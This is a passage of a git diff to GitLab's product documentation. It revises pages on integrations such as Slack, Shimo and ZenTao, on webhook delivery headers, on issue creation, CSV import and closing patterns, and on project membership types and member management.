steps and consequences of disabling GitLab issues, see +[Configure project visibility, features, and permissions](../settings/index.md#configure-project-visibility-features-and-permissions). ## Reference Redmine issues in GitLab diff --git a/doc/user/project/integrations/servicenow.md b/doc/user/project/integrations/servicenow.md index fcc8db7cb87..a34655c8e35 100644 --- a/doc/user/project/integrations/servicenow.md +++ b/doc/user/project/integrations/servicenow.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# ServiceNow integration **(FREE)** +# ServiceNow **(FREE)** ServiceNow offers several integrations to help centralize and automate your management of GitLab workflows. diff --git a/doc/user/project/integrations/shimo.md b/doc/user/project/integrations/shimo.md index 28cb53f8bf6..ca09de06dc6 100644 --- a/doc/user/project/integrations/shimo.md +++ b/doc/user/project/integrations/shimo.md @@ -4,7 +4,14 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Shimo Workspace integration **(FREE)** +<!--- start_remove The following content will be removed on remove_date: '2023-05-22' --> + +# Shimo (deprecated) **(FREE)** + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/377824) in GitLab 15.7 +and is planned for removal in 16.0. +This change is a breaking change. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/343386) in GitLab 14.5 with a feature flag named `shimo_integration`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/345356) in GitLab 15.4. @@ -14,11 +21,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Configure settings in GitLab -To enable the Shimo Workspace integration for your group or project: +To enable the Shimo integration for your group or project: 1. On the top bar, select **Main menu** and find your group or project. 1. On the left sidebar, select **Settings > Integrations**. -1. In **Add an integration**, select **Shimo Workspace**. +1. In **Add an integration**, select **Shimo**. 1. In **Enable integration**, ensure the **Active** checkbox is selected. 1. Provide the **Shimo Workspace URL** you want to link to your group or project (for example, `https://shimo.im/space/aBAYV6VvajUP873j`). 1. Select **Save changes**. @@ -32,3 +39,5 @@ To view the Shimo Workspace from your group or project: 1. On the top bar, select **Main menu** and find your group or project. 1. On the left sidebar, select **Shimo**. 1. On the **Shimo Workspace** page, select **Go to Shimo Workspace**. + +<!--- end_remove --> diff --git a/doc/user/project/integrations/slack.md b/doc/user/project/integrations/slack.md index 5c1006b9044..09e7189d4f5 100644 --- a/doc/user/project/integrations/slack.md +++ b/doc/user/project/integrations/slack.md @@ -4,7 +4,13 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Slack notifications integration **(FREE)** +# Slack notifications **(FREE)** + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/372411) on GitLab.com +in GitLab 15.9 and is [planned for removal](https://gitlab.com/groups/gitlab-org/-/epics/8673). +For GitLab.com, use the [GitLab for Slack app](gitlab_slack_application.md) instead. +For self-managed GitLab instances, you can continue to use this feature. The Slack notifications integration enables your GitLab project to send events (such as issue creation) to your existing Slack team as notifications. Setting up @@ -22,6 +28,8 @@ to control GitLab from Slack. Slash commands are configured separately. ## Configure GitLab +> [Changed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106760) in GitLab 15.9 to limit Slack channels to 10 per event. + 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Settings > Integrations**. 1. Select **Slack notifications**. @@ -58,13 +66,13 @@ The following triggers are available for Slack notifications: | Trigger name | Trigger event | |--------------------------------------------------------------------------|------------------------------------------------------| | **Push** | A push to the repository. | -| **Issue** | An issue is created, updated, or closed. | -| **Incident** | An incident is created, updated, or closed. | -| **Confidential issue** | A confidential issue is created, updated, or closed. | -| **Merge request** | A merge request is created, updated, or merged. | +| **Issue** | An issue is created, closed, or reopened. | +| **Incident** | An incident is created, closed, or reopened. | +| **Confidential issue** | A confidential issue is created, closed, or reopened.| +| **Merge request** | A merge request is created, merged, closed, or reopened.| | **Note** | A comment is added. | -| **Confidential note** | A confidential note is added. | -| **Tag push** | A new tag is pushed to the repository. | +| **Confidential note** | An internal note or comment on a confidential issue is added.| +| **Tag push** | A new tag is pushed to the repository or removed. | | **Pipeline** | A pipeline status changed. | | **Wiki page** | A wiki page is created or updated. | | **Deployment** | A deployment starts or finishes. | diff --git a/doc/user/project/integrations/slack_slash_commands.md b/doc/user/project/integrations/slack_slash_commands.md index f4c789239f3..2563cec2b05 100644 --- a/doc/user/project/integrations/slack_slash_commands.md +++ b/doc/user/project/integrations/slack_slash_commands.md @@ -6,6 +6,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Slack slash commands **(FREE SELF)** +NOTE: +This feature is only configurable on self-managed GitLab instances. +For GitLab.com, use the [GitLab for Slack app](gitlab_slack_application.md) instead. + If you want to control and view GitLab content while you're working in Slack, you can use Slack slash commands. To use Slack slash commands, you must configure both Slack and GitLab. @@ -13,9 +17,6 @@ To use Slack slash commands, you must configure both Slack and GitLab. GitLab can also send events (for example, `issue created`) to Slack as notifications. The [Slack notifications service](slack.md) is configured separately. -NOTE: -For GitLab.com, use the [GitLab for Slack app](gitlab_slack_application.md) instead. - ## Configure GitLab and Slack Slack slash command integrations diff --git a/doc/user/project/integrations/unify_circuit.md b/doc/user/project/integrations/unify_circuit.md index 77530b4b417..d465b4e50f0 100644 --- a/doc/user/project/integrations/unify_circuit.md +++ b/doc/user/project/integrations/unify_circuit.md @@ -4,9 +4,9 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Unify Circuit service **(FREE)** +# Unify Circuit **(FREE)** -The Unify Circuit service sends notifications from GitLab to a Circuit conversation. +The Unify Circuit integration sends notifications from GitLab to a Circuit conversation. ## Set up Unify Circuit service diff --git a/doc/user/project/integrations/webex_teams.md b/doc/user/project/integrations/webex_teams.md index be4528ba70d..233209966aa 100644 --- a/doc/user/project/integrations/webex_teams.md +++ b/doc/user/project/integrations/webex_teams.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Webex Teams service **(FREE)** +# Webex Teams **(FREE)** You can configure GitLab to send notifications to a Webex Teams space: diff --git a/doc/user/project/integrations/webhook_events.md b/doc/user/project/integrations/webhook_events.md index 0f462ad41b0..53177004888 100644 --- a/doc/user/project/integrations/webhook_events.md +++ b/doc/user/project/integrations/webhook_events.md @@ -1784,7 +1784,7 @@ Payload example: "links": [ { "id": 1, - "external": true, + "external": true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type": "other", "name": "Changelog", "url": "https://example.net/changelog" diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md index 3d45e947c4c..3d971af5c2a 100644 --- a/doc/user/project/integrations/webhooks.md +++ b/doc/user/project/integrations/webhooks.md @@ -258,15 +258,17 @@ For more information about supported events for Webhooks, go to [Webhook events] ## Delivery headers -> `X-Gitlab-Instance` header [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31333) in GitLab 15.5. +> - `X-Gitlab-Event-UUID` header [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/329743) in GitLab 14.8. +> - `X-Gitlab-Instance` header [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31333) in GitLab 15.5. Webhook requests to your endpoint include the following headers: | Header | Description | Example | | ------ | ------ | ------ | | `User-Agent` | In the format `"Gitlab/<VERSION>"`. | `"GitLab/15.5.0-pre"` | -| `X-Gitlab-Event` | Name of the webhook type. Corresponds to [event types](webhook_events.md) but in the format `"<EVENT> Hook"`. | `"Push Hook"` | | `X-Gitlab-Instance` | Hostname of the GitLab instance that sent the webhook. | `"https://gitlab.com"` | +| `X-Gitlab-Event` | Name of the webhook type. Corresponds to [event types](webhook_events.md) but in the format `"<EVENT> Hook"`. | `"Push Hook"` | +| `X-Gitlab-Event-UUID` | Unique ID per webhook that is not recursive. A hook is recursive if triggered by an earlier webhook that hit the GitLab instance. Recursive webhooks have the same value for this header. | `"13792a34-cac6-4fda-95a8-c58e00a3954e"` | ## Troubleshoot webhooks @@ -287,7 +289,7 @@ To view the table: 1. Each [failing webhook](#failing-webhooks) has a badge listing it as: - **Failed to connect** if it is misconfigured, and needs manual intervention to re-enable it. - - **Fails to connect** if it is temporarily disabled and will retry later. + - **Fails to connect** if it is temporarily disabled and is retrying later.  @@ -334,9 +336,9 @@ GitLab expects a response in [10 seconds](../../../user/gitlab_com/index.md#othe > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/365535) in GitLab 15.7. Feature flag `webhooks_failed_callout` removed. If a webhook is failing, a banner displays at the top of the edit page explaining -why it is disabled, and when it will be automatically re-enabled. For example: +why it is disabled, and when it is automatically re-enabled. For example: - + In the case of a failed webhook, an error banner is displayed: diff --git a/doc/user/project/integrations/youtrack.md b/doc/user/project/integrations/youtrack.md index fb6807aeeb0..a020cc61533 100644 --- a/doc/user/project/integrations/youtrack.md +++ b/doc/user/project/integrations/youtrack.md @@ -4,7 +4,7 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# YouTrack service **(FREE)** +# YouTrack **(FREE)** JetBrains [YouTrack](https://www.jetbrains.com/youtrack/) is a web-based issue tracking and project management platform. @@ -28,8 +28,8 @@ After you configure and enable YouTrack, a link appears on the GitLab project pages. This link takes you to the appropriate YouTrack project. You can also disable [GitLab internal issue tracking](../issues/index.md) in this project. -Learn more about the steps and consequences of disabling GitLab issues in -[Sharing and permissions](../settings/index.md#configure-project-visibility-features-and-permissions). +For more information about the steps and consequences of disabling GitLab issues, see +[Configure project visibility, features, and permissions](../settings/index.md#configure-project-visibility-features-and-permissions). ## Reference YouTrack issues in GitLab diff --git a/doc/user/project/integrations/zentao.md b/doc/user/project/integrations/zentao.md index 17727ba22b1..ca25c1214b7 100644 --- a/doc/user/project/integrations/zentao.md +++ b/doc/user/project/integrations/zentao.md @@ -4,7 +4,14 @@ group: Integrations info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# ZenTao product integration **(PREMIUM)** +<!--- start_remove The following content will be removed on remove_date: '2023-05-22' --> + +# ZenTao (deprecated) **(PREMIUM)** + +WARNING: +This feature was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/377825) in GitLab 15.7 +and is planned for removal in 16.0. +This change is a breaking change. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/338178) in GitLab 14.5. @@ -47,3 +54,5 @@ Complete these steps in GitLab: 1. To verify the ZenTao connection is working, select **Test settings**. 1. Select **Save changes**. + +<!--- end_remove --> diff --git a/doc/user/project/issues/create_issues.md b/doc/user/project/issues/create_issues.md index 3c2e20c1250..5ebb2fc2e1c 100644 --- a/doc/user/project/issues/create_issues.md +++ b/doc/user/project/issues/create_issues.md @@ -31,7 +31,7 @@ To create an issue: 1. On the top bar, select **Main menu > Projects** and find your project. 1. Either: - - On the left sidebar, select **Issues**, and then, in the top right corner, select **New issue**. + - On the left sidebar, select **Issues**, and then, in the upper-right corner, select **New issue**. - On the top bar, select the plus sign (**{plus-square}**) and then, under **This project**, select **New issue**. @@ -53,7 +53,7 @@ To create an issue from a group: 1. On the top bar, select **Main menu > Groups** and find your group. 1. On the left sidebar, select **Issues**. -1. In the top right corner, select **Select project to create issue**. +1. In the upper-right corner, select **Select project to create issue**. 1. Select the project you'd like to create an issue for. The button now reflects the selected project. 1. Select **New issue in `<project name>`**. @@ -127,7 +127,7 @@ You can send an email to create an issue in a project on the project's Prerequisites: - Your GitLab instance must have [incoming email](../../../administration/incoming_email.md) - configured. + configured with [email sub-addressing or catch-all mailbox](../../../administration/incoming_email.md#requirements). - There must be at least one issue in the issue list. - You must have at least the Guest role for the project. @@ -165,10 +165,10 @@ HTML page to create issues with certain fields prefilled. | Field | URL parameter | Notes | | -------------------- | --------------------- | ------------------------------------------------------------------------------------------------------------------------------- | -| Title | `issue[title]` | Must be [URL-encoded](../../../api/index.md#namespaced-path-encoding). | +| Title | `issue[title]` | Must be [URL-encoded](../../../api/rest/index.md#namespaced-path-encoding). | | Issue type | `issue[issue_type]` | Either `incident` or `issue`. | -| Description template | `issuable_template` | Must be [URL-encoded](../../../api/index.md#namespaced-path-encoding). | -| Description | `issue[description]` | Must be [URL-encoded](../../../api/index.md#namespaced-path-encoding). If used in combination with `issuable_template` or a [default issue template](../description_templates.md#set-a-default-template-for-merge-requests-and-issues), the `issue[description]` value is appended to the template. | +| Description template | `issuable_template` | Must be [URL-encoded](../../../api/rest/index.md#namespaced-path-encoding). | +| Description | `issue[description]` | Must be [URL-encoded](../../../api/rest/index.md#namespaced-path-encoding). If used in combination with `issuable_template` or a [default issue template](../description_templates.md#set-a-default-template-for-merge-requests-and-issues), the `issue[description]` value is appended to the template. | | Confidential | `issue[confidential]` | If `true`, the issue is marked as confidential. | | Relate to… | `add_related_issue` | A numeric issue ID. If present, the issue form shows a [**Relate to…** checkbox](#from-another-issue-or-incident) to optionally link the new issue to the specified existing issue. | diff --git a/doc/user/project/issues/crosslinking_issues.md b/doc/user/project/issues/crosslinking_issues.md index 0b5605bb767..52da1acd32a 100644 --- a/doc/user/project/issues/crosslinking_issues.md +++ b/doc/user/project/issues/crosslinking_issues.md @@ -24,6 +24,13 @@ add `#xxx` to the commit message, where `xxx` is the issue number. git commit -m "this is my commit message. Ref #xxx" ``` +Since commit messages cannot usually begin with a `#` character, you may use +the alternative `GL-xxx` notation as well: + +```shell +git commit -m "GL-xxx: this is my commit message" +``` + If they are in different projects, but in the same group, add `projectname#xxx` to the commit message. diff --git a/doc/user/project/issues/csv_export.md b/doc/user/project/issues/csv_export.md index 83265d3e954..9b131372672 100644 --- a/doc/user/project/issues/csv_export.md +++ b/doc/user/project/issues/csv_export.md @@ -15,9 +15,6 @@ notification email address as an attachment. collected from issues into a **[comma-separated values](https://en.wikipedia.org/wiki/Comma-separated_values)** (CSV) file, which stores tabular data in plain text. -> _CSVs are a way of getting data from one program to another where one -program cannot read the other ones normal output._ [Ref](https://www.quora.com/What-is-a-CSV-file-and-its-uses) - <!-- vale gitlab.Spelling = NO --> CSV files can be used with any plotter or spreadsheet-based program, such as diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md index d01f22d03c9..8a6683a55b5 100644 --- a/doc/user/project/issues/csv_import.md +++ b/doc/user/project/issues/csv_import.md @@ -36,7 +36,7 @@ To import issues: 1. Go to your project's Issues list page. 1. Open the import feature, depending if the project has issues: - - Existing issues are present: Select the import icon at the top right, next to **Edit issues**. + - Existing issues are present: Select the import icon in the upper right, next to **Edit issues**. - Project has no issues: Select **Import CSV** in the middle of the page. 1. Select the file you want to import, and then select **Import issues**. @@ -50,7 +50,7 @@ To import issues, GitLab requires CSV files have a specific format: | Element | Format | |------------------------|--------| | header row | CSV files must include the following headers: `title` and `description`. The case of the headers does not matter. | -| columns | Data from columns beyond `title` and `description` are not imported. | +| columns | Data from columns outside of `title`, `description`, and `due_date` are not imported. | | separators | The column separator is detected from the header row. Supported separator characters are commas (`,`), semicolons (`;`), and tabs (`\t`). The row separator can be either `CRLF` or `LF`. | | double-quote character | The double-quote (`"`) character is used to quote fields, enabling the use of the column separator in a field (see the third line in the sample CSV data below). To insert a double-quote (`"`) in a quoted field use two double-quote characters in succession (`""`). | | data rows | After the header row, following rows must use the same column order. The issue title is required, but the description is optional. | @@ -58,12 +58,16 @@ To import issues, GitLab requires CSV files have a specific format: If you have special characters (for example, `,` or `\n`) or multiple lines in a field (for example, when using [quick actions](../quick_actions.md)), surround the characters with double quotes (`"`). -When using [quick actions](../quick_actions.md), each action must be on a separate line. +Also when using [quick actions](../quick_actions.md): + +- Each action must be on a separate line. +- For quick actions like `/label` and `/milestone`, the label or milestone must already exist in the project. +- The user you assign the issue to must be a member of the project. Sample CSV data: ```plaintext -title,description,due date +title,description,due_date My Issue Title,My Issue Description,2022-06-28 Another Title,"A description, with a comma", "One More Title","One More Description", diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md index 27d935d0ed1..f43f87119a6 100644 --- a/doc/user/project/issues/design_management.md +++ b/doc/user/project/issues/design_management.md @@ -92,12 +92,12 @@ The design you selected opens. You can then [zoom in](#zoom-in-on-a-design) on i When viewing a design, you can move to other designs. To do so, either: -- In the top-right corner, select **Go to previous design** (**{chevron-lg-left}**) or **Go to next design** (**{chevron-lg-right}**). +- In the upper-right corner, select **Go to previous design** (**{chevron-lg-left}**) or **Go to next design** (**{chevron-lg-right}**). - Press <kbd>Left</kbd> or <kbd>Right</kbd> on your keyboard. To return to the issue view, either: -- In the top-left corner, select the close icon (**{close}**). +- In the upper-left corner, select the close icon (**{close}**). - Press <kbd>Esc</kbd> on your keyboard. When a design is added, a green icon (**{plus-square}**) is displayed on the image @@ -186,7 +186,7 @@ Prerequisites: To archive a single design: 1. Select the design to view it enlarged. -1. In the top right corner, select **Archive design** (**{archive}**). +1. In the upper-right corner, select **Archive design** (**{archive}**). 1. Select **Archive designs**. To archive multiple designs at once: @@ -235,7 +235,7 @@ When you're done discussing part of a design, you can resolve the discussion thr To mark a thread as resolved or unresolved, either: -- In the top-right corner of the first comment of the discussion, select **Resolve thread** or **Unresolve thread** (**{check-circle}**). +- In the upper-right corner of the first comment of the discussion, select **Resolve thread** or **Unresolve thread** (**{check-circle}**). - Add a new comment to the thread and select or clear the **Resolve thread** checkbox. Resolving a discussion thread also marks any pending [to-do items](../../todos.md) related to notes diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md index a5399b70c8f..953d08ea903 100644 --- a/doc/user/project/issues/managing_issues.md +++ b/doc/user/project/issues/managing_issues.md @@ -22,6 +22,28 @@ To edit an issue: 1. Edit the available fields. 1. Select **Save changes**. +### Remove a task list item + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/377307) in GitLab 15.9 [with a flag](../../../administration/feature_flags.md) named `work_items_mvc`. Disabled by default. + +FLAG: +On self-managed GitLab, by default this feature is not available. +To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `work_items_mvc`. +On GitLab.com, this feature is not available. +The feature is not ready for production use. + +Prerequisites: + +- You must have at least the Reporter role for the project, or be the author or assignee of the issue. + +In an issue description with task list items: + +1. Hover over a task list item and select the options menu (**{ellipsis_v}**). +1. Select **Delete**. + +The task list item is removed from the issue description. +Any nested task list items are moved up a nested level. + ## Bulk edit issues from a project > - Assigning epic [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in GitLab 13.2. @@ -150,7 +172,7 @@ To do it: issues.each do |issue| if issue.state != "closed" && issue.moved_to.nil? - Issues::MoveService.new(project: project, current_user: admin_user).execute(issue, target_project) + Issues::MoveService.new(container: project, current_user: admin_user).execute(issue, target_project) else puts "issue with id: #{issue.id} and title: #{issue.title} was not moved" end @@ -174,10 +196,10 @@ Prerequisites: To reorder list items, when viewing an issue: -1. Hover over the list item row to make the drag icon (**{drag-vertical}**) visible. -1. Select and hold the drag icon. +1. Hover over the list item row to make the grip icon (**{grip}**) visible. +1. Select and hold the grip icon. 1. Drag the row to the new position in the list. -1. Release the drag icon. +1. Release the grip icon. ## Close an issue @@ -204,9 +226,11 @@ A reopened issue is no different from any other open issue. ### Closing issues automatically -You can close issues automatically by using certain words in the commit message or MR description. +You can close issues automatically by using certain words, called a _closing pattern_, +in a commit message or merge request description. Administrators of self-managed GitLab instances +can [change the default closing pattern](../../../administration/issue_closing_pattern.md). -If a commit message or merge request description contains text matching the [defined pattern](#default-closing-pattern), +If a commit message or merge request description contains text matching the [closing pattern](#default-closing-pattern), all issues referenced in the matched text are closed when either: - The commit is pushed to a project's [**default** branch](../repository/branches/default.md). @@ -218,7 +242,7 @@ description: - Issues `#4` and `#6` are closed automatically when the MR is merged. - Issue `#5` is marked as a [related issue](related_issues.md), but it's not closed automatically. -Alternatively, when you [create a merge request from an issue](../merge_requests/getting_started.md#merge-requests-to-close-issues), +Alternatively, when you [create a merge request from an issue](../merge_requests/creating_merge_requests.md#from-an-issue), it inherits the issue's milestone and labels. For performance reasons, automatic issue closing is disabled for the very first @@ -382,7 +406,7 @@ To view all issues assigned to you: Or: - To use a [keyboard shortcut](../../shortcuts.md), press <kbd>Shift</kbd> + <kbd>i</kbd>. -- On the top bar, on the top right, select **{issues}** **Issues**. +- On the top bar, in the upper right, select **{issues}** **Issues**. ## Filter the list of issues @@ -413,11 +437,12 @@ GitLab displays the results on-screen, but you can also > - OR filtering for author and assignee was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23532) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default. > - OR filtering for label was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23532) in GitLab 15.8 [with a flag](../../../administration/feature_flags.md) named `or_issuable_queries`. Disabled by default. +> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104292) in GitLab 15.9. FLAG: -On self-managed GitLab, by default this feature is not available. -To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `or_issuable_queries`. -The feature is not ready for production use. +On self-managed GitLab, by default this feature is available. +To hide the feature, ask an administrator to [disable the feature flag](../../../administration/feature_flags.md) named `or_issuable_queries`. +On GitLab.com, this feature is available. When this feature is enabled, you can use the OR operator (**is one of: `||`**) when you [filter the list of issues](#filter-the-list-of-issues) by: @@ -460,7 +485,7 @@ Read more about issue references in [GitLab-Flavored Markdown](../../markdown.md You can create a comment in an issue by sending an email. Sending an email to this address creates a comment that contains the email body. -To learn more about creating comments by sending an email and the necessary configuration, see +For more information about creating comments by sending an email and the necessary configuration, see [Reply to a comment by sending email](../../discussions/index.md#reply-to-a-comment-by-sending-email). To copy the issue's email address: diff --git a/doc/user/project/issues/related_issues.md b/doc/user/project/issues/related_issues.md index 1a8f19b80ba..43acaaf9c2f 100644 --- a/doc/user/project/issues/related_issues.md +++ b/doc/user/project/issues/related_issues.md @@ -15,7 +15,7 @@ The relationship only shows up in the UI if the user can see both issues. When y issue that has open blockers, a warning is displayed. NOTE: -To manage linked issues through our API, visit the [issue links API documentation](../../../api/issue_links.md). +To manage linked issues through our API, see [Issue links API](../../../api/issue_links.md). ## Add a linked issue @@ -57,7 +57,7 @@ them categorized so their relationships can be better understood visually.  You can also add a linked issue from a commit message or the description in another issue or MR. -[Learn more about crosslinking issues](crosslinking_issues.md). +For more information, see [Crosslinking issues](crosslinking_issues.md). ## Remove a linked issue diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md index 0b0184db14c..c7d45b0bd15 100644 --- a/doc/user/project/members/index.md +++ b/doc/user/project/members/index.md @@ -10,12 +10,16 @@ Members are the users and groups who have access to your project. Each member gets a role, which determines what they can do in the project. -Project members can: +## Membership types -1. Be [direct members](#add-users-to-a-project) of the project. -1. [Inherit membership](#inherited-membership) of the project from the project's group. -1. Be a member of a group that was [shared](share_project_with_groups.md) with the project. -1. Be a member of a group that was [shared with the project's group](../../group/manage.md#share-a-group-with-another-group). +Users can become members of a group or project in different ways, which define their membership type. + +| Membership type | Membership process | +| --------------------------------------------- | ------------------ | +| [Direct](#add-users-to-a-project) | The user is added directly to the current group or project. | +| [Inherited](#inherited-membership) | The user is a member of an ancestor group or project that is added to the current group or project. | +| [Direct shared](share_project_with_groups.md) | The user is a member of a group or project that is shared into the current group or project. | +| [Inherited shared](../../group/manage.md#share-a-group-with-another-group) | The user is a member of an ancestor of a group or project that is shared into the current group or project. | ```mermaid flowchart RL @@ -41,13 +45,71 @@ flowchart RL G-->|Group C shared with Project A|E ``` +### Inherited membership + +When your project belongs to a group, project members inherit their role +from the group. + + + +In this example: + +- Three members have access to the project. +- **User 0** is a Reporter and has inherited their role in the project from the **demo** group, + which contains the project. +- **User 1** belongs directly to the project. In the **Source** column, they are listed + as a **Direct member**. +- **Administrator** is the [Owner](../../permissions.md) and member of all groups. + They have inherited their role in the project from the **demo** group. + +If a user is: + +- A direct member of a project, the **Expiration** and **Max role** fields can be updated directly on the project. +- An inherited member from a parent group, the **Expiration** and **Max role** fields must be updated on the parent group. + +### Membership and visibility rights + +Depending on their membership type, members of groups or projects are granted different visibility levels +and rights into the group or project. + +| Action | Direct group member | Inherited group member | Direct shared group member | Inherited shared group member | +| --- | ------------------- | ---------------------- | -------------------------- | ----------------------------- | +| Generate boards | ✓ | ✓ | ✓ | ✓ | +| View issues of groups higher in the hierarchy | ✓ | ✓ | ✓ | ✓ | +| View labels of groups higher in the hierarchy | ✓ | ✓ | ✓ | ✓ | +| View milestones of groups higher in the hierarchy | ✓ | ✓ | ✓ | ✓ | +| Be shared into other groups | ✓ | | | | +| Be shared into other projects | ✓ | ✓ | | | +| Share the group with other members | ✓ | | | | + +In the following example, `User` is a: + +- Direct member of `subgroup`. +- Inherited member of `subsubgroup`. +- Indirect member of `subgroup-2` and `subgroup-3`. +- Indirect inherited member of `subsubgroup-2` and `subsubgroup-3`. + +```mermaid +graph TD + classDef user stroke:green,color:green; + + root --> subgroup --> subsubgroup + root-2 --> subgroup-2 --> subsubgroup-2 + root-3 --> subgroup-3 --> subsubgroup-3 + subgroup -. shared .-> subgroup-2 -. shared .-> subgroup-3 + + User-. member .- subgroup + + class User user +``` + ## Add users to a project > - [Changed](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 13.11 from a form to a modal window [with a flag](../../feature_flags.md). Disabled by default. > - Modal window [enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 14.8. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/352526) in GitLab 14.9. [Feature flag `invite_members_group_modal`](https://gitlab.com/gitlab-org/gitlab/-/issues/352526) removed. -Add users to a project so they become members and have permission +Add users to a project so they become direct members and have permission to perform actions. Prerequisite: @@ -59,7 +121,12 @@ To add a user to a project: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Project information > Members**. 1. Select **Invite members**. -1. Enter an email address and select a [role](../../permissions.md). +1. If the user: + + - Has a GitLab account, enter their username. + - Doesn't have a GitLab account, enter their email address. + +1. Select a [role](../../permissions.md). 1. Optional. Select an **Access expiration date**. From that date onward, the user can no longer access the project. @@ -69,16 +136,12 @@ To add a user to a project: to extend their own time in the Maintainer role. 1. Select **Invite**. + If you invited the user using their: -If the user has a GitLab account, they are added to the members list. -If you used an email address, the user receives an email. - -If the invitation is not accepted, GitLab sends reminder emails two, -five, and ten days later. Unaccepted invites are automatically -deleted after 90 days. - -If the user does not have a GitLab account, they are prompted to create an account -using the email address the invitation was sent to. + - GitLab username, they are added to the members list. + - Email address, an invitation is sent to their email address, and they are prompted to create an account. + If the invitation is not accepted, GitLab sends reminder emails two, five, and ten days later. + Unaccepted invites are automatically deleted after 90 days. ### Which roles you can assign @@ -97,14 +160,14 @@ The Owner [role](../../permissions.md#project-members-permissions) can be added > - Modal window [enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/247208) in GitLab 14.8. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/352526) in GitLab 14.9. [Feature flag `invite_members_group_modal`](https://gitlab.com/gitlab-org/gitlab/-/issues/352526) removed. -When you add a group to a project, each user in the group gets access to the project. -Each user's access is based on: +When you add a group to a project, every group member (direct or inherited) gets access to the project. +Each member's access is based on the: -- The role they're assigned in the group. -- The maximum role you choose when you invite the group. +- Role they're assigned in the group. +- Maximum role you choose when you invite the group. -If a user has a group role with fewer permissions than the maximum project role, the user keeps the permissions of their group role. -For example, if you add a user with the Guest role to a project with a maximum role of Maintainer, the user has only the permissions of the Guest role. +If a group member has a role in the group with fewer permissions than the maximum project role, the member keeps the permissions of their group role. +For example, if you add a member with the Guest role to a project with a maximum role of Maintainer, the member has only the permissions of the Guest role in the project. Prerequisites: @@ -128,10 +191,10 @@ The **Members** tab shows: - Members who are directly assigned to the project. - If the project was created in a group [namespace](../../namespace/index.md), members of that group. -## Import users from another project +## Import members from another project -You can import another project's users to your own project. Users -retain the same permissions as the project you import them from. +You can import another project's members to your own project. +Imported project members retain the same permissions as the project you import them from. Prerequisite: @@ -147,37 +210,16 @@ To import users: After the success message displays, refresh the page to view the new members. -## Inherited membership - -When your project belongs to a group, group members inherit their role -from the group. - - - -In this example: - -- Three members have access to the project. -- **User 0** is a Reporter and has inherited their role from the **demo** group, - which contains the project. -- **User 1** belongs directly to the project. In the **Source** column, they are listed - as a **Direct member**. -- **Administrator** is the [Owner](../../permissions.md) and member of all groups. - They have inherited their role from the **demo** group. - -If a user is a: - -- Direct member of a project, the **Expiration** and **Max role** fields can be updated directly on the project. -- Inherited member from a parent group, the **Expiration** and **Max role** fields must be updated on the parent group. - ## Remove a member from a project -If a user is a direct member of a project, you can remove them. -If membership is inherited from a parent group, then the member can be removed only from the parent -group itself. +If a user is: + +- A direct member of a project, you can remove them directly from the project. +- An inherited member from a parent group, you can only remove them from the parent group itself. Prerequisites: -- To remove direct members with the: +- To remove direct members that have the: - Maintainer, Developer, Reporter, or Guest role, you must have the Maintainer role. - Owner role, you must have the Owner role. - Optional. Unassign the member from all issues and merge requests that @@ -191,7 +233,7 @@ To remove a member from a project: 1. Optional. In the confirmation box, select the **Also unassign this user from related issues and merge requests** checkbox. 1. To prevent leaks of sensitive information from private projects, verify the - user has not forked the private repository or created webhooks. Existing forks continue to receive + member has not forked the private repository or created webhooks. Existing forks 